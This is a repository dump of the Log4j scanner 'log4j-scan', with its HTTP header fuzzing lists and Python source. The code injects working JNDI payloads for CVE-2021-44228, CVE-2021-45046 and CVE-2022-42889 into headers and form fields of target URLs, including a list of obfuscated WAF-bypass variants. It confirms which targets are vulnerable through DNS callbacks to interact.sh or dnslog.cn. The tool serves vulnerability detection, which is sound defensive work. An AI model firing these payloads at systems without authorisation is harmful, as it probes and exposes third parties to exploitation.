883 | X-Codeception-Codecoverage
884 | X-Codeception-Codecoverage-Config
885 | X-Codeception-Codecoverage-Debug
886 | X-Codeception-Codecoverage-Suite
887 | X-Collect-Coverage
888 | X-Coming-From
889 | X-Confirm-Delete
890 | X-Content-Type
891 | X-Content-Type-Options
892 | X-Correlation-ID
893 | X-Credentials-Request
894 | X-Csrf-Crumb
895 | X-Csrftoken
896 | X-Csrf-Token
897 | X-CSRFToken
898 | X-Cuid
899 | X-Custom
900 | X-Dagd-Proxy
901 | X-Davical-Testcase
902 | X-Dcmguid
903 | X-Debug-Test
904 | X-Device-User-Agent
905 | X-Dialog
906 | X-Dns-Prefetch-Control
907 | X-DNS-Prefetch-Control
908 | X-Dokuwiki-Do
909 | X-Do-Not-Track
910 | X-Drestcg
911 | X-Dsid
912 | X-Elgg-Apikey
913 | X-Elgg-Hmac
914 | X-Elgg-Hmac-Algo
915 | X-Elgg-Nonce
916 | X-Elgg-Posthash
917 | X-Elgg-Posthash-Algo
918 | X-Elgg-Time
919 | X-Em-Uid
920 | X-Enable-Coverage
921 | X-Environment-Override
922 | X-Expected-Entity-Length
923 | X-Experience-Api-Version
924 | X-Fb-User-Remote-Addr
925 | X-File-Id
926 | X-Filename
927 | X-File-Name
928 | X-File-Resume
929 | X-File-Size
930 | X-File-Type
931 | X-Firelogger
932 | X-Fireloggerauth
933 | X-Firephp-Version
934 | X-Flash-Version
935 | X-Flx-Consumer-Key
936 | X-Flx-Consumer-Secret
937 | X-Flx-Redirect-Url
938 | X-Foo
939 | X-Foo-Bar
940 | X-Forwarded
941 | X-Forwarded-By
942 | X-Forwarded-For
943 | X-Forwarded-For-Original
944 | X-Forwarded-Host
945 | X-Forwarded-Port
946 | X-Forwarded-Proto
947 | X-Forwarded-Protocol
948 | X-Forwarded-Scheme
949 | X-Forwarded-Server
950 | X-Forwarded-Ssl
951 | X-Forwarder-For
952 | X-Forward-For
953 | X-Forward-Proto
954 | X-Frame-Options
955 | X-From
956 | X-Gb-Shared-Secret
957 | X-Geoip-Country
958 | X-Get-Checksum
959 | X-Helpscout-Event
960 | X-Helpscout-Signature
961 | X-Hgarg-
962 | X-Host
963 | X-Http-Destinationurl
964 | X-Http-Host-Override
965 | X-Http-Method
966 | X-Http-Method-Override
967 | X-HTTP-Method-Override
968 | X-Http-Path-Override
969 | X-Https
970 | X-Htx-Agent
971 | X-Huawei-Userid
972 | X-Hub-Signature
973 | X-If-Unmodified-Since
974 | X-Imbo-Test-Config
975 | X-Insight
976 | X-Ip
977 | X-Ip-Trail
978 | X-Iwproxy-Nesting
979 | X-Jphone-Color
980 | X-Jphone-Display
981 | X-Jphone-Geocode
982 | X-Jphone-Msname
983 | X-Jphone-Uid
984 | X-Json
985 | X-Kaltura-Remote-Addr
986 | X-Known-Signature
987 | X-Known-Username
988 | X-Litmus
989 | X-Litmus-Second
990 | X-Locking
991 | X-Machine
992 | X-Mandrill-Signature
993 | X-Method-Override
994 | X-Mobile-Gateway
995 | X-Mobile-Ua
996 | X-Mosso-Dt
997 | X-Moz
998 | X-Msisdn
999 | X-Ms-Policykey
1000 | X-Myqee-System-Debug
1001 | X-Myqee-System-Hash
1002 | X-Myqee-System-Isadmin
1003 | X-Myqee-System-Isrest
1004 | X-Myqee-System-Pathinfo
1005 | X-Myqee-System-Project
1006 | X-Myqee-System-Rstr
1007 | X-Myqee-System-Time
1008 | X-Network-Info
1009 | X-Nfsn-Https
1010 | X-Ning-Request-Uri
1011 | X-Nokia-Bearer
1012 | X-Nokia-Connection-Mode
1013 | X-Nokia-Gateway-Id
1014 | X-Nokia-Ipaddress
1015 | X-Nokia-Msisdn
1016 | X-Nokia-Wia-Accept-Original
1017 | X-Nokia-Wtls
1018 | X-Nuget-Apikey
1019 | X-Oc-Mtime
1020 | Xonnection
1021 | X-Opera-Info
1022 | X-Operamini-Features
1023 | X-Operamini-Phone
1024 | X-Operamini-Phone-Ua
1025 | X-Options
1026 | X-Orange-Id
1027 | X-Orchestra-Scheme
1028 | X-Orig-Client
1029 | X-Original-Host
1030 | X-Original-Http-Command
1031 | X-Originally-Forwarded-For
1032 | X-Originally-Forwarded-Proto
1033 | X-Original-Remote-Addr
1034 | X-Original-Url
1035 | X-Original-User-Agent
1036 | X-Originating-Ip
1037 | X-Originating-IP
1038 | X-Os-Prefs
1039 | X-Overlay
1040 | X-Pagelet-Fragment
1041 | X-Password
1042 | Xpdb-Debugger
1043 | X-Phabricator-Csrf
1044 | X-Phpbb-Using-Plupload
1045 | X-Pjax
1046 | X-Pjax-Container
1047 | X-Prototype-Version
1048 | Xproxy
1049 | X-Proxy-Url
1050 | X-ProxyUser-Ip
1051 | X-Pswd
1052 | X-Purpose
1053 | X-Qafoo-Profiler
1054 | X-Real-Ip
1055 | X-Remote-Addr
1056 | X-Remote-IP
1057 | X-Remote-Protocol
1058 | X-Render-Partial
1059 | X-Request
1060 | X-Requested-With
1061 | X-Request-Id
1062 | X-Request-ID
1063 | X-Request-Signature
1064 | X-Request-Start
1065 | X-Request-Timestamp
1066 | X-Response-Format
1067 | X-Rest-Cors
1068 | X-Rest-Password
1069 | X-Rest-Username
1070 | X-Rewrite-Url
1071 | Xroxy-Connection
1072 | X-Sakura-Forwarded-For
1073 | X-Scalr-Auth-Key
1074 | X-Scalr-Auth-Token
1075 | X-Scalr-Env-Id
1076 | X-Scanner
1077 | X-Scheme
1078 | X-Screen-Height
1079 | X-Screen-Width
1080 | X-Sendfile-Type
1081 | X-Serialize
1082 | X-Serial-Number
1083 | X-Server-Id
1084 | X-Server-Name
1085 | X-Server-Port
1086 | X-Signature
1087 | X-Sina-Proxyuser
1088 | X-Skyfire-Phone
1089 | X-Skyfire-Screen
1090 | X-Ssl
1091 | X-Subdomain
1092 | X-Te
1093 | X-Teamsite-Preremap
1094 | X-Test-Session-Id
1095 | X-Timer
1096 | X-Tine20-Jsonkey
1097 | X-Tine20-Request-Type
1098 | X-Tomboy-Client
1099 | X-Tor
1100 | X-Twilio-Signature
1101 | X-Ua-Device
1102 | X-Ucbrowser-Device-Ua
1103 | X-Uidh
1104 | X-UIDH
1105 | X-Unique-Id
1106 | X-Uniquewcid
1107 | X-Up-Calling-Line-Id
1108 | X-Update
1109 | X-Update-Range
1110 | X-Up-Devcap-Iscolor
1111 | X-Up-Devcap-Screendepth
1112 | X-Up-Devcap-Screenpixels
1113 | X-Upload-Maxresolution
1114 | X-Upload-Name
1115 | X-Upload-Size
1116 | X-Upload-Type
1117 | X-Up-Subno
1118 | X-Url-Scheme
1119 | X-User
1120 | X-User-Agent
1121 | X-Username
1122 | X-Varnish
1123 | X-Verify-Credentials-Authorization
1124 | X-Vodafone-3gpdpcontext
1125 | X-Wap-Clientid
1126 | X-Wap-Client-Sdu-Size
1127 | X-Wap-Gateway
1128 | X-Wap-Network-Client-Ip
1129 | X-Wap-Network-Client-Msisdn
1130 | x-wap-profile
1131 | X-Wap-Profile
1132 | X-Wap-Proxy-Cookie
1133 | X-Wap-Session-Id
1134 | X-Wap-Tod
1135 | X-Wap-Tod-Coded
1136 | X-Whatever
1137 | X-Wikimedia-Debug
1138 | X-Wp-Nonce
1139 | X-Wp-Pjax-Prefetch
1140 | X-Ws-Api-Key
1141 | X-Xc-Schema-Version
1142 | X-Xhprof-Debug
1143 | X-Xhr-Referer
1144 | X-Xmlhttprequest
1145 | X-Xpid
1146 | X-XSRF-TOKEN
1147 | X-XSS-Protection
1148 | Xxx-Real-Ip
1149 | Xxxxxxxxxxxxxxx
1150 | X-Zikula-Ajax-Token
1151 | X-Zotero-Version
1152 | X-Ztgo-Bearerinfo
1153 | Y
1154 | Zotero-Api-Version
1155 | Zotero-Write-Token
--------------------------------------------------------------------------------
/headers-minimal.txt:
--------------------------------------------------------------------------------
1 | # Security appliances may reset requests when headers are larger then the typical.
2 | Accept-Charset
3 | Accept-Datetime
4 | Accept-Encoding
5 | Accept-Language
6 | Cache-Control
7 | Cookie
8 | DNT
9 | Forwarded
10 | Forwarded-For
11 | Forwarded-For-Ip
12 | Forwarded-Proto
13 | From
14 | Max-Forwards
15 | Origin
16 | Pragma
17 | Referer
18 | True-Client-IP
19 | Upgrade
20 | User-Agent
21 | Via
22 | Warning
23 | X-Api-Version
24 | X-Att-DeviceId
25 | X-Correlation-ID
26 | X-Csrf-Token
27 | X-Do-Not-Track
28 | X-Forwarded
29 | X-Forwarded-By
30 | X-Forwarded-For
31 | X-Forwarded-Host
32 | X-Forwarded-Port
33 | X-Forwarded-Proto
34 | X-Forwarded-Scheme
35 | X-Forwarded-Server
36 | X-Forwarded-Ssl
37 | X-Forward-For
38 | X-From
39 | X-Geoip-Country
40 | X-Http-Destinationurl
41 | X-Http-Host-Override
42 | X-Http-Method
43 | X-Http-Method-Override
44 | X-Hub-Signature
45 | X-If-Unmodified-Since
46 | X-ProxyUser-Ip
47 | X-Requested-With
48 | X-Request-ID
49 | X-UIDH
50 | X-XSRF-TOKEN
--------------------------------------------------------------------------------
/headers.txt:
--------------------------------------------------------------------------------
1 | Accept-Charset
2 | Accept-Datetime
3 | Accept-Encoding
4 | Accept-Language
5 | Cache-Control
6 | Cookie
7 | DNT
8 | Forwarded
9 | Forwarded-For
10 | Forwarded-For-Ip
11 | Forwarded-Proto
12 | From
13 | Max-Forwards
14 | Origin
15 | Pragma
16 | Referer
17 | TE
18 | True-Client-IP
19 | Upgrade
20 | User-Agent
21 | Via
22 | Warning
23 | X-Api-Version
24 | X-Att-Deviceid
25 | X-ATT-DeviceId
26 | X-Correlation-ID
27 | X-Csrf-Token
28 | X-CSRFToken
29 | X-Do-Not-Track
30 | X-Foo
31 | X-Foo-Bar
32 | X-Forwarded
33 | X-Forwarded-By
34 | X-Forwarded-For
35 | X-Forwarded-For-Original
36 | X-Forwarded-Host
37 | X-Forwarded-Port
38 | X-Forwarded-Proto
39 | X-Forwarded-Protocol
40 | X-Forwarded-Scheme
41 | X-Forwarded-Server
42 | X-Forwarded-Ssl
43 | X-Forwarder-For
44 | X-Forward-For
45 | X-Forward-Proto
46 | X-Frame-Options
47 | X-From
48 | X-Geoip-Country
49 | X-Http-Destinationurl
50 | X-Http-Host-Override
51 | X-Http-Method
52 | X-Http-Method-Override
53 | X-HTTP-Method-Override
54 | X-Http-Path-Override
55 | X-Https
56 | X-Htx-Agent
57 | X-Hub-Signature
58 | X-If-Unmodified-Since
59 | X-Imbo-Test-Config
60 | X-Insight
61 | X-Ip
62 | X-Ip-Trail
63 | X-ProxyUser-Ip
64 | X-Requested-With
65 | X-Request-ID
66 | X-UIDH
67 | X-Wap-Profile
68 | X-XSRF-TOKEN
--------------------------------------------------------------------------------
/log4j-scan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # coding=utf-8
3 | # ******************************************************************
4 | # log4j-scan: A generic scanner for Apache log4j RCE CVE-2021-44228
5 | # Author:
6 | # Mazin Ahmed
7 | # Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
8 | # Secure your Attack Surface with FullHunt.io.
9 | # ******************************************************************
10 |
11 | import argparse
12 | import random
13 | import requests
14 | import time
15 | import sys
16 | from urllib import parse as urlparse
17 | import base64
18 | import json
19 | from uuid import uuid4
20 | from base64 import b64encode
21 | from Crypto.Cipher import AES, PKCS1_OAEP
22 | from Crypto.PublicKey import RSA
23 | from Crypto.Hash import SHA256
24 | from termcolor import cprint
25 |
26 |
27 | # Disable SSL warnings
28 | try:
29 | import requests.packages.urllib3
30 | requests.packages.urllib3.disable_warnings()
31 | except Exception:
32 | pass
33 |
34 |
35 | cprint('[•] CVE-2021-44228 - Apache Log4j RCE Scanner', "green")
36 | cprint('[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.', "yellow")
37 | cprint('[•] Secure your External Attack Surface with FullHunt.io.', "yellow")
38 |
39 | if len(sys.argv) <= 1:
40 | print('\n%s -h for help.' % (sys.argv[0]))
41 | exit(0)
42 |
43 |
44 | default_headers = {
45 | 'User-Agent': 'log4j-scan (https://github.com/mazen160/log4j-scan)',
46 | # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36',
47 | 'Accept': '*/*' # not being tested to allow passing through checks on Accept header in older web-servers
48 | }
49 |
50 | post_data_parameters = ["username", "user", "uname", "name", "email", "email_address", "password"]
51 | timeout = 4
52 |
53 | waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}",
54 | "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}",
55 | "${jndi:rmi://{{callback_host}}/{{random}}}",
56 | "${jndi:rmi://{{callback_host}}}/",
57 | "${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}",
58 | "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}",
59 | "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}",
60 | "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}",
61 | "${jndi:dns://{{callback_host}}/{{random}}}",
62 | "${jnd${123%25ff:-${123%25ff:-i:}}ldap://{{callback_host}}/{{random}}}",
63 | "${jndi:dns://{{callback_host}}}",
64 | "${j${k8s:k5:-ND}i:ldap://{{callback_host}}/{{random}}}",
65 | "${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//{{callback_host}}/{{random}}}",
66 | "${j${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}",
67 | "${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//{{callback_host}}/{{random}}}",
68 | "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}",
69 | "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//{{callback_host}}/{{random}}}",
70 | "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//{{callback_host}}/{{random}}}",
71 | "${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//{{callback_host}}/{{random}}",
72 | "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//{{callback_host}}/{{random}}}",
73 | "${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}",
74 | "${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}",
75 | "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}"
76 | ]
77 |
78 | cve_2021_45046 = [
79 | "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995,
80 | "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}",
81 | "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}"
82 | ]
83 |
84 | cve_2022_42889 = [
85 | "${url:UTF-8::https://{{callback_host}}/}",
86 | "${url:UTF-8::https://{{callback_host}}/{{random}}}",
87 | "${url:UTF-8::http://{{callback_host}}/}",
88 | "${url:UTF-8::http://{{callback_host}}/{{random}}}",
89 | "${dns:address|{{callback_host}}}"
90 | ]
91 |
92 | parser = argparse.ArgumentParser()
93 | parser.add_argument("-u", "--url",
94 | dest="url",
95 | help="Check a single URL.",
96 | action='store')
97 | parser.add_argument("-p", "--proxy",
98 | dest="proxy",
99 | help="send requests through proxy",
100 | action='store')
101 | parser.add_argument("-l", "--list",
102 | dest="usedlist",
103 | help="Check a list of URLs.",
104 | action='store')
105 | parser.add_argument("--request-type",
106 | dest="request_type",
107 | help="Request Type: (get, post) - [Default: get].",
108 | default="get",
109 | action='store')
110 | parser.add_argument("--headers-file",
111 | dest="headers_file",
112 | help="Headers fuzzing list - [default: headers.txt].",
113 | default="headers.txt",
114 | action='store')
115 | parser.add_argument("--run-all-tests",
116 | dest="run_all_tests",
117 | help="Run all available tests on each URL.",
118 | action='store_true')
119 | parser.add_argument("--exclude-user-agent-fuzzing",
120 | dest="exclude_user_agent_fuzzing",
121 | help="Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.",
122 | action='store_true')
123 | parser.add_argument("--wait-time",
124 | dest="wait_time",
125 | help="Wait time after all URLs are processed (in seconds) - [Default: 5].",
126 | default=5,
127 | type=int,
128 | action='store')
129 | parser.add_argument("--waf-bypass",
130 | dest="waf_bypass_payloads",
131 | help="Extend scans with WAF bypass payloads.",
132 | action='store_true')
133 | parser.add_argument("--custom-waf-bypass-payload",
134 | dest="custom_waf_bypass_payload",
135 | help="Test with custom WAF bypass payload.")
136 | parser.add_argument("--test-CVE-2021-45046",
137 | dest="cve_2021_45046",
138 | help="Test using payloads for CVE-2021-45046 (detection payloads).",
139 | action='store_true')
140 | parser.add_argument("--test-CVE-2022-42889",
141 | dest="cve_2022_42889",
142 | help="Test using payloads for Apache Commons Text RCE (CVE-2022-42889).",
143 | action='store_true')
144 | parser.add_argument("--dns-callback-provider",
145 | dest="dns_callback_provider",
146 | help="DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].",
147 | default="interact.sh",
148 | action='store')
149 | parser.add_argument("--custom-dns-callback-host",
150 | dest="custom_dns_callback_host",
151 | help="Custom DNS Callback Host.",
152 | action='store')
153 | parser.add_argument("--disable-http-redirects",
154 | dest="disable_redirects",
155 | help="Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have a higher chance of reaching vulnerable systems.",
156 | action='store_true')
157 |
158 | args = parser.parse_args()
159 |
160 |
161 | proxies = {}
162 | if args.proxy:
163 | proxies = {"http": args.proxy, "https": args.proxy}
164 |
165 |
166 | if args.custom_waf_bypass_payload:
167 | waf_bypass_payloads.append(args.custom_waf_bypass_payload)
168 |
169 |
170 | def get_fuzzing_headers(payload):
171 | fuzzing_headers = {}
172 | fuzzing_headers.update(default_headers)
173 | with open(args.headers_file, "r") as f:
174 | for i in f.readlines():
175 | i = i.strip()
176 | if i == "" or i.startswith("#"):
177 | continue
178 | fuzzing_headers.update({i: payload})
179 | if args.exclude_user_agent_fuzzing:
180 | fuzzing_headers["User-Agent"] = default_headers["User-Agent"]
181 |
182 | if "Referer" in fuzzing_headers:
183 | fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}'
184 | return fuzzing_headers
185 |
186 |
187 | def get_fuzzing_post_data(payload):
188 | fuzzing_post_data = {}
189 | for i in post_data_parameters:
190 | fuzzing_post_data.update({i: payload})
191 | return fuzzing_post_data
192 |
193 |
194 | def generate_waf_bypass_payloads(callback_host, random_string):
195 | payloads = []
196 | for i in waf_bypass_payloads:
197 | new_payload = i.replace("{{callback_host}}", callback_host)
198 | new_payload = new_payload.replace("{{random}}", random_string)
199 | payloads.append(new_payload)
200 | return payloads
201 |
202 |
203 | def get_cve_2021_45046_payloads(callback_host, random_string):
204 | payloads = []
205 | for i in cve_2021_45046:
206 | new_payload = i.replace("{{callback_host}}", callback_host)
207 | new_payload = new_payload.replace("{{random}}", random_string)
208 | payloads.append(new_payload)
209 | return payloads
210 |
211 |
212 | def get_cve_2022_42889_payloads(callback_host, random_string):
213 | payloads = []
214 | for i in cve_2022_42889:
215 | new_payload = i.replace("{{callback_host}}", callback_host)
216 | new_payload = new_payload.replace("{{random}}", random_string)
217 | payloads.append(new_payload)
218 | return payloads
219 |
220 |
221 | class Dnslog(object):
222 | def __init__(self):
223 | self.s = requests.session()
224 | req = self.s.get("http://www.dnslog.cn/getdomain.php",
225 | proxies=proxies,
226 | timeout=30)
227 | self.domain = req.text
228 |
229 | def pull_logs(self):
230 | req = self.s.get("http://www.dnslog.cn/getrecords.php",
231 | proxies=proxies,
232 | timeout=30)
233 | return req.json()
234 |
235 |
236 | class Interactsh:
237 | # Source: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/modules/interactsh/__init__.py
238 | def __init__(self, token="", server=""):
239 | rsa = RSA.generate(2048)
240 | self.public_key = rsa.publickey().exportKey()
241 | self.private_key = rsa.exportKey()
242 | self.token = token
243 | self.server = server.lstrip('.') or 'interact.sh'
244 | self.headers = {
245 | "Content-Type": "application/json",
246 | }
247 | if self.token:
248 | self.headers['Authorization'] = self.token
249 | self.secret = str(uuid4())
250 | self.encoded = b64encode(self.public_key).decode("utf8")
251 | guid = uuid4().hex.ljust(33, 'a')
252 | guid = ''.join(i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in guid)
253 | self.domain = f'{guid}.{self.server}'
254 | self.correlation_id = self.domain[:20]
255 |
256 | self.session = requests.session()
257 | self.session.headers = self.headers
258 | self.session.verify = False
259 | self.session.proxies = proxies
260 | self.register()
261 |
262 | def register(self):
263 | data = {
264 | "public-key": self.encoded,
265 | "secret-key": self.secret,
266 | "correlation-id": self.correlation_id
267 | }
268 | res = self.session.post(
269 | f"https://{self.server}/register", headers=self.headers, json=data, timeout=30)
270 | if 'success' not in res.text:
271 | raise Exception("Can not initiate interact.sh DNS callback client")
272 |
273 | def pull_logs(self):
274 | result = []
275 | url = f"https://{self.server}/poll?id={self.correlation_id}&secret={self.secret}"
276 | res = self.session.get(url, headers=self.headers, timeout=30).json()
277 | aes_key, data_list = res['aes_key'], res['data']
278 | for i in data_list:
279 | decrypt_data = self.__decrypt_data(aes_key, i)
280 | result.append(self.__parse_log(decrypt_data))
281 | return result
282 |
283 | def __decrypt_data(self, aes_key, data):
284 | private_key = RSA.importKey(self.private_key)
285 | cipher = PKCS1_OAEP.new(private_key, hashAlgo=SHA256)
286 | aes_plain_key = cipher.decrypt(base64.b64decode(aes_key))
287 | decode = base64.b64decode(data)
288 | bs = AES.block_size
289 | iv = decode[:bs]
290 | cryptor = AES.new(key=aes_plain_key, mode=AES.MODE_CFB, IV=iv, segment_size=128)
291 | plain_text = cryptor.decrypt(decode)
292 | return json.loads(plain_text[16:])
293 |
294 | def __parse_log(self, log_entry):
295 | new_log_entry = {"timestamp": log_entry["timestamp"],
296 | "host": f'{log_entry["full-id"]}.{self.domain}',
297 | "remote_address": log_entry["remote-address"]
298 | }
299 | return new_log_entry
300 |
301 |
302 | def parse_url(url):
303 | """
304 | Parses the URL.
305 | """
306 |
307 | # Url: https://example.com/login.jsp
308 | url = url.replace('#', '%23')
309 | url = url.replace(' ', '%20')
310 |
311 | if ('://' not in url):
312 | url = str("http://") + str(url)
313 | scheme = urlparse.urlparse(url).scheme
314 |
315 | # FilePath: /login.jsp
316 | file_path = urlparse.urlparse(url).path
317 | if (file_path == ''):
318 | file_path = '/'
319 |
320 | return({"scheme": scheme,
321 | "site": f"{scheme}://{urlparse.urlparse(url).netloc}",
322 | "host": urlparse.urlparse(url).netloc.split(":")[0],
323 | "file_path": file_path})
324 |
325 |
326 | def scan_url(url, callback_host):
327 | parsed_url = parse_url(url)
328 | random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7))
329 | payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string)
330 | payloads = [payload]
331 | if args.waf_bypass_payloads:
332 | payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))
333 |
334 | if args.cve_2021_45046:
335 | cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow")
336 | payloads.extend(get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))
337 |
338 | if args.cve_2022_42889:
339 | cprint(f"[•] Scanning for CVE-2022-42889 (Apache Commons Text RCE)", "yellow")
340 | payloads.extend(get_cve_2022_42889_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))
341 |
342 | for payload in payloads:
343 | cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan")
344 |
345 | if args.request_type.upper() == "GET" or args.run_all_tests:
346 | try:
347 | requests.request(url=url,
348 | method="GET",
349 | params={"v": payload},
350 | headers=get_fuzzing_headers(payload),
351 | verify=False,
352 | timeout=timeout,
353 | allow_redirects=(not args.disable_redirects),
354 | proxies=proxies)
355 | except Exception as e:
356 | cprint(f"EXCEPTION: {e}")
357 |
358 | if args.request_type.upper() == "POST" or args.run_all_tests:
359 | try:
360 | # Post body
361 | requests.request(url=url,
362 | method="POST",
363 | params={"v": payload},
364 | headers=get_fuzzing_headers(payload),
365 | data=get_fuzzing_post_data(payload),
366 | verify=False,
367 | timeout=timeout,
368 | allow_redirects=(not args.disable_redirects),
369 | proxies=proxies)
370 | except Exception as e:
371 | cprint(f"EXCEPTION: {e}")
372 |
373 | try:
374 | # JSON body
375 | requests.request(url=url,
376 | method="POST",
377 | params={"v": payload},
378 | headers=get_fuzzing_headers(payload),
379 | json=get_fuzzing_post_data(payload),
380 | verify=False,
381 | timeout=timeout,
382 | allow_redirects=(not args.disable_redirects),
383 | proxies=proxies)
384 | except Exception as e:
385 | cprint(f"EXCEPTION: {e}")
386 |
387 |
388 | def main():
389 | urls = []
390 | if args.url:
391 | urls.append(args.url)
392 | if args.usedlist:
393 | with open(args.usedlist, "r") as f:
394 | for i in f.readlines():
395 | i = i.strip()
396 | if i == "" or i.startswith("#"):
397 | continue
398 | urls.append(i)
399 |
400 | dns_callback_host = ""
401 | if args.custom_dns_callback_host:
402 | cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.")
403 | dns_callback_host = args.custom_dns_callback_host
404 | else:
405 | cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).")
406 | if args.dns_callback_provider == "interact.sh":
407 | dns_callback = Interactsh()
408 | elif args.dns_callback_provider == "dnslog.cn":
409 | dns_callback = Dnslog()
410 | else:
411 | raise ValueError("Invalid DNS Callback provider")
412 | dns_callback_host = dns_callback.domain
413 |
414 | cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta")
415 | for url in urls:
416 | cprint(f"[•] URL: {url}", "magenta")
417 | scan_url(url, dns_callback_host)
418 |
419 | if args.custom_dns_callback_host:
420 | cprint("[•] Payloads sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.", "cyan")
421 | return
422 |
423 | cprint("[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.", "cyan")
424 | cprint("[•] Waiting...", "cyan")
425 | time.sleep(int(args.wait_time))
426 | records = dns_callback.pull_logs()
427 | if len(records) == 0:
428 | cprint("[•] Targets do not seem to be vulnerable.", "green")
429 | else:
430 | cprint("[!!!] Targets Affected", "yellow")
431 | for i in records:
432 | cprint(json.dumps(i), "yellow")
433 |
434 |
435 | if __name__ == "__main__":
436 | try:
437 | main()
438 | except KeyboardInterrupt:
439 | print("\nKeyboardInterrupt Detected.")
440 | print("Exiting...")
441 | exit(0)
442 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
2 | termcolor
3 | PyCryptodome
--------------------------------------------------------------------------------